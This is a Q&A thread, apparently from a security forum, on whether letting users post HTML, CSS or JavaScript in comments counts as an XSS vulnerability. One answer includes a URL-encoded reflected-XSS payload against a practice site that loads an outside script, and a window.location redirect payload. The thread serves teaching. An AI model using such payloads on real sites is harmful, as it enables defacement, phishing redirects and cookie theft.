4

A scripter sees on certain web pages it's technically possible to include markup like HTML and CSS/JS. It's technically possible to submit a javascript or iframe and have it display to the visitor running a javascript that could be any javascript. I didn't practically try it but I could include "bugs" that changed layouts on other parts of the page. For instance I could redecorate the link named "next" in a pagination list for comments by posting a comment with CSS and I'm sure that if I allowed users to post code I wouldn't allow them to execute javascript from another user and allowing CSS from a comment to override elements the page has surely is unwanted. Is what I'm talking about a site that has a vulnerability for XSS and therefore should increase its security? Thanks

Improve this question

2 Answers 2

Reset to default
8

Yes, that is exactly what is talked about when discussing XSS vulnerabilities. In the context you described, one could also add code to redirect a user to any site or present possibly malicious code directly from that website. Changing the target of password forms, posting cookies to other websites and many other malicious acts are possible.

Improve this answer
3
  • Thank you Jeff That's good to know. I can even think of making the site attack itself or crack itself programming a javascript that attacks the site in a scenario where I program a brute force attack with javascript since there is a lot you can do if you can run javascript.
    – Niklas Rosencrantz
    Aug 16, 2011 at 20:17
  • 2
    It is good to know about threats, vulnerabilities, and exposures. Though experiments are a good way to learn. Making your own dummy site and attempting to attack yourself is also a good way to learn. However, I (and I hope the rest of us) do not advocate attacking anyone else's site or even your own production site.
    – this.josh
    Aug 17, 2011 at 5:17
  • Thank you this.josh for the comment. A creative advantage with allowing javascript with a comment is that just send along something "social" like the facebook like or recommend button that looks modern and nice and is creative instead of malicious. I think there are better ways like bbcode and wiki markup if there is need to include components like buttons that depend on iframe or javascript with a comment.
    – Niklas Rosencrantz
    Aug 17, 2011 at 6:25
1

Have a look at this if you don't understand what xss is. http://theinsider.deep-ice.com/texts/xss_exposed.txt

You can try all your xss stuff on demo.testfire.net

So open up opera browser and enter this url (trivial example) http://demo.testfire.net/search.aspx?txtSearch=%3Cscript+language%3D%22JavaScript%22+src%3D%22http%3A%2F%2Fha.ckers.org%2Fweird%2Fstallowned.js%22%3E%3C%2Fscript%3E

That is one example of what xss can be used for (to appear to have defaced the site and give wrong information to a user, it can also be used for defacement but not going to explain that here.)

You could also use xss to redirect a user to a malicious site by sending them a url of a site that they would usually trust but with javascript in the url that redirects them to another site.

Something like this would work post it in the search bar: window.location="http://HomePC.MyISP.com"

Improve this answer
1
  • 1
    I've edited your answer to replace the offensive example URL you were using. Otherwise the answer is fine, but please consider adding some of the most relevant excerpts from the linked document to your answer to avoid possible link rot problems. Cheers!
    – TildalWave
    Mar 18, 2013 at 21:13

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .